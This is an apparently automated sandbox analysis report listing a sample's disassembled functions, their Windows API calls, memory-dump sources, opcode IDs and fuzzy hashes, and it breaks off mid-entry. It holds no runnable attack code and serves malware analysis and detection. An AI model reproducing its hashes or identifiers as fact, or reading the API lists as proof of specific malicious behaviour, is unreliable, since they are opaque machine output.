API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: d890f677beb422091183d31fb38772f6ef039849954467b6240394c2f7d1f662
Instruction ID: ab694512dc93015156489160799cec1eb37182a0ff96fb25fc721653c1d2ee81
Opcode Fuzzy Hash: d890f677beb422091183d31fb38772f6ef039849954467b6240394c2f7d1f662
Instruction Fuzzy Hash: E8510A39A00105DFCB05EF65C9819AEBBF5EF49314F1480AAE809AB362CB35ED15DF54

Function 004BA056 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51c919d021ecd504a73058d0dca54cdb1eb4a2b3d6450d009f8d8f20a6dcea4d
Instruction ID: 636e4c5aa972f5d438a6c1233cc2438f745126c90c9ed9c87e57a53b2af703f4
Opcode Fuzzy Hash: 51c919d021ecd504a73058d0dca54cdb1eb4a2b3d6450d009f8d8f20a6dcea4d
Instruction Fuzzy Hash: D241B335904114ABD760DF28CC48FEABBA4EB09310F144266E915A73E1C7389D65DA7A

Function 00432344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00432357
ScreenToClient.USER32(004F57B0,?), ref: 00432374
GetAsyncKeyState.USER32(00000001), ref: 00432399
GetAsyncKeyState.USER32(00000002), ref: 004323A7

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 41785b240e6601ae1905b20ac74bbba3f8292ccb75e9e5a7988f482834c64deb
Instruction ID: 7036231bce9eaeb2300a3b4c2350970a07d1e8bd268525f1ff6fafc568d54a1e
Opcode Fuzzy Hash: 41785b240e6601ae1905b20ac74bbba3f8292ccb75e9e5a7988f482834c64deb
Instruction Fuzzy Hash: 54418335604115FBCF199F69CC44AEABB74FB09364F20431BF828D22A0D7789D94DBA6

Function 004863AA Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004863E7
TranslateAcceleratorW.USER32(?,?,?), ref: 00486433
TranslateMessage.USER32(?), ref: 0048645C
DispatchMessageW.USER32(?), ref: 00486466
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00486475

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Message$PeekTranslate$AcceleratorDispatch
String ID:
API String ID: 2108273632-0
Opcode ID: 191270fb0f4669ae825d20717867bcc8e93864b814db3abb251a2c70cd575988
Instruction ID: 3bb6802debbd126dc1f36d43bd20c5b0fd041aec41539aeb0a6b8000066287a6
Opcode Fuzzy Hash: 191270fb0f4669ae825d20717867bcc8e93864b814db3abb251a2c70cd575988
Instruction Fuzzy Hash: EB31E931900606AFDBA4EFB4CC44FBF7BACAB00700F120A77E915C2260E7299459DB5D

Function 00488A1F Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00488A30
PostMessageW.USER32(?,00000201,00000001), ref: 00488ADA
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00488AE2
PostMessageW.USER32(?,00000202,00000000), ref: 00488AF0
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00488AF8

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: a663ea8c3f046860806e6f6cd6975b638e8a534f8b930f629c36d94ef7447beb
Instruction ID: 8e164b1faf137524f05c76d21caaa54d26d68ecd26f86458f36ace3b4e5875b1
Opcode Fuzzy Hash: a663ea8c3f046860806e6f6cd6975b638e8a534f8b930f629c36d94ef7447beb
Instruction Fuzzy Hash: 4831E071900219EBDF18DFA8DD4CA9E3BB5EB04315F10862AF928E62D0C7B49D14CB94

Function 0048B1EC Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0048B204
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0048B221
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 0048B259
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 0048B27F
_wcsstr.LIBCMT ref: 0048B289

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 1e3843ae25657ab5e2a095ef7965aa8a899965ddc4aec5955e5b19e5c8adb11b
Instruction ID: a3321e107a4f19de3af6d4272d22984969399ac28715ac9339c2955e8b7d4985
Opcode Fuzzy Hash: 1e3843ae25657ab5e2a095ef7965aa8a899965ddc4aec5955e5b19e5c8adb11b
Instruction Fuzzy Hash: B321D3722042006FEB25AB799C09E7F7B98DB49750F10417FFC08DA262EB699C4197A8

Function 004BB14B Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00432612: GetWindowLongW.USER32(?,000000EB), ref: 00432623

GetWindowLongW.USER32(?,000000F0), ref: 004BB192
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 004BB1B7
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 004BB1CF
GetSystemMetrics.USER32(00000004), ref: 004BB1F8
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,004A0E90,00000000), ref: 004BB216

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: a737a7414ddeede255a3afa4d15df666d819d5d4dba2e5cfaacdb748297a1377
Instruction ID: 59ebe9c46189c30684df7a25b2796984920dbe7118a3c3bc4b30f4967b6859d9
Opcode Fuzzy Hash: a737a7414ddeede255a3afa4d15df666d819d5d4dba2e5cfaacdb748297a1377
Instruction Fuzzy Hash: 8A21A271910611AFCB149F38CC08AAA3BA4EB05361F10473AFD36D72E0D7749821DBA8

Function 00489307 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00489320

Part of subcall function 00437BCC: _memmove.LIBCMT ref: 00437C06

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00489352
__itow.LIBCMT ref: 0048936A
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00489392
__itow.LIBCMT ref: 004893A3

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: 8001ebe095e0d4ed85b44f4bc795fa9bf02678cef6e1590dc9b1f360bff64fa8
Instruction ID: 407daabc41d2823b3c8e6f435ababe96183c85ee8e8ece07b63e50f6438626b4
Opcode Fuzzy Hash: 8001ebe095e0d4ed85b44f4bc795fa9bf02678cef6e1590dc9b1f360bff64fa8
Instruction Fuzzy Hash: 16210731700208BBDB20AE658C85EFE7BACEB4D714F08502BFD44E72C1D6B88D559799

Function 004A5A4D Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 004A5A6E
GetForegroundWindow.USER32 ref: 004A5A85
GetDC.USER32(00000000), ref: 004A5AC1
GetPixel.GDI32(00000000,?,00000003), ref: 004A5ACD
ReleaseDC.USER32(00000000,00000003), ref: 004A5B08

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: f4e77e5e31d367dc6562c36a1b8ba46cec13eded2aa50ea74641c2c72c9bc58f
Instruction ID: 67536d3427238618935232d979621ae4b4bb1e27277b07591d411cbbc3531f3d
Opcode Fuzzy Hash: f4e77e5e31d367dc6562c36a1b8ba46cec13eded2aa50ea74641c2c72c9bc58f
Instruction Fuzzy Hash: 2721C335A00104AFDB04EFA9DD84A9ABBE5EF59310F14857EF809D7362CA74EC05CB94

Function 004312F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 0043134D
SelectObject.GDI32(?,00000000), ref: 0043135C
BeginPath.GDI32(?), ref: 00431373
SelectObject.GDI32(?,00000000), ref: 0043139C

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 6177efe3e0463b56f52323921f2e94284a9212d0d564701140f77dcd2681bbb1
Instruction ID: cbef909dd5e44599ebbadc9273a9976ae43ebe659a8b2bb5316251c602a8f0ac
Opcode Fuzzy Hash: 6177efe3e0463b56f52323921f2e94284a9212d0d564701140f77dcd2681bbb1
Instruction Fuzzy Hash: A3215C30800A08EBEB10AF25EC0477A7BA8EB083A1F144637E914962B0D77498B5DF99

Function 0048BC9E Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0048BCB3
_memcmp.LIBCMT ref: 0048BCD1
_memcmp.LIBCMT ref: 0048BCE4
_memcmp.LIBCMT ref: 0048BCFC
_memcmp.LIBCMT ref: 0048BD14

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: fcb7e3524e29ee66ca7716e6981b9c77622c6b7491d1bc0ae7f1a9981127c959
Instruction ID: 7ab6f9498d1e1fe838d7d2b8ef3819728241e3b7e1584b90ca72a6bf128146cf
Opcode Fuzzy Hash: fcb7e3524e29ee66ca7716e6981b9c77622c6b7491d1bc0ae7f1a9981127c959
Instruction Fuzzy Hash: 4A016D616002057EE2047A126E42FBFA35CDE21388B14442BFD0597342EB98AE1583ED

Function 00494A93 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00494ABA
__beginthreadex.LIBCMT ref: 00494AD8
MessageBoxW.USER32(?,?,?,?), ref: 00494AED
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00494B03
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00494B0A

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 725965c311364fa81fd26a45ade0c985e98d875de8d4ac2d62cf44424044cab2
Instruction ID: 62ff6e46a639d9f288c1a39e552092e80cc7bcb57db32232e90ff8ea6b32af11
Opcode Fuzzy Hash: 725965c311364fa81fd26a45ade0c985e98d875de8d4ac2d62cf44424044cab2
Instruction Fuzzy Hash: D611E576904204BBCB008FA8DC08EAB7FACAB85321F15437AF914D3251D6759D158BA8

Function 00488202 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 0048821E
GetLastError.KERNEL32(?,00487CE2,?,?,?), ref: 00488228
GetProcessHeap.KERNEL32(00000008,?,?,00487CE2,?,?,?), ref: 00488237
HeapAlloc.KERNEL32(00000000,?,00487CE2,?,?,?), ref: 0048823E
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00488255

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: ce23d2e00fe44617a9eb6f4db99661d1587daa2536e4ceb62913b70e7eed1ddb
Instruction ID: 08e80fda45ea7a2209704c97757be2e34c6588d3787393db159d48ddfedb8a0c
Opcode Fuzzy Hash: ce23d2e00fe44617a9eb6f4db99661d1587daa2536e4ceb62913b70e7eed1ddb
Instruction Fuzzy Hash: 09016DB1200604BFDB209FA9DC48D6B7BACEF8A754B500A7AF809C2220DA318C04CB64

Function 0048710A Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00487044,80070057,?,?,?,00487455), ref: 00487127
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00487044,80070057,?,?), ref: 00487142
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00487044,80070057,?,?), ref: 00487150
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00487044,80070057,?), ref: 00487160
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00487044,80070057,?,?), ref: 0048716C

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 62588b8b637803c7f1f1503fd55728b32f9f505751faa501c77efd1777ec0a96
Instruction ID: 720b0e4b21ee49f02c25909e854e7050484e995bfb98150952692141716ccaef
Opcode Fuzzy Hash: 62588b8b637803c7f1f1503fd55728b32f9f505751faa501c77efd1777ec0a96
Instruction Fuzzy Hash: FC017C72605204ABDB11AF64DC88AAE7BADEB44791F240575FD08D2320E735DD419BA4

Function 00495244 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00495260
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 0049526E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00495276
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00495280
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 004952BC

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 9d74a113562b01f947113d823ee7a4a23bdc4d4ce373fb59ac083fef4afaa2ec
Instruction ID: a2aac9299a97ebef6327196d1f6746bcdef41a167c3810a1ea9908c5c2f77cc2
Opcode Fuzzy Hash: 9d74a113562b01f947113d823ee7a4a23bdc4d4ce373fb59ac083fef4afaa2ec
Instruction Fuzzy Hash: ED015731D01A19DBCF00EFE8EC489EEBB78FB09311F5005B6E945B2240CB3859548BAA

Function 0048810A Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00488121
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 0048812B
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0048813A
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00488141
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00488157

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 75196eeae92e014963134629ec3caaf34119e69da4f97e8b6a830ea6d70dda33
Instruction ID: 0a4b7679591e9dc4cbbb597c268ad85184821e74d22b786ab3861df1e0465896
Opcode Fuzzy Hash: 75196eeae92e014963134629ec3caaf34119e69da4f97e8b6a830ea6d70dda33
Instruction Fuzzy Hash: DCF0AF70240304BFEB116FA8EC8CE6B3BACEF49754B40053AF949D2260CF609C05DB64

Function 0048C1E3 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 0048C1F7
GetWindowTextW.USER32(00000000,?,00000100), ref: 0048C20E
MessageBeep.USER32(00000000), ref: 0048C226
KillTimer.USER32(?,0000040A), ref: 0048C242
EndDialog.USER32(?,00000001), ref: 0048C25C

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 3c04611974d5d904b34c242cf4e46874fbec325c7e972d41f138b9805b70a8d6
Instruction ID: e9764b2b53ce4300718ce494a556e9c85823a15bcea673a23acd3f78a4a5366c
Opcode Fuzzy Hash: 3c04611974d5d904b34c242cf4e46874fbec325c7e972d41f138b9805b70a8d6
Instruction Fuzzy Hash: D601DB30804304A7EB206B64DD8EF9677B8FF00B05F000BBAF946914E0DBF469598B58

Function 004313B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 004313BF
StrokeAndFillPath.GDI32(?,?,0046B888,00000000,?), ref: 004313DB
SelectObject.GDI32(?,00000000), ref: 004313EE
DeleteObject.GDI32 ref: 00431401
StrokePath.GDI32(?), ref: 0043141C

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 6a4a7f01cfc87adb5b69478d3cb454d25de67a4520dce794361839c529602d79
Instruction ID: 61da84a461c8da0c1701233f6f234e0f6242174dea54229f3f812a48d98d616d
Opcode Fuzzy Hash: 6a4a7f01cfc87adb5b69478d3cb454d25de67a4520dce794361839c529602d79
Instruction Fuzzy Hash: DCF0EC31004B08EBDB116F2AEC4C7693FA4AB15366F089735E929491F1C73589B9DF5C

Function 00442CFB Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

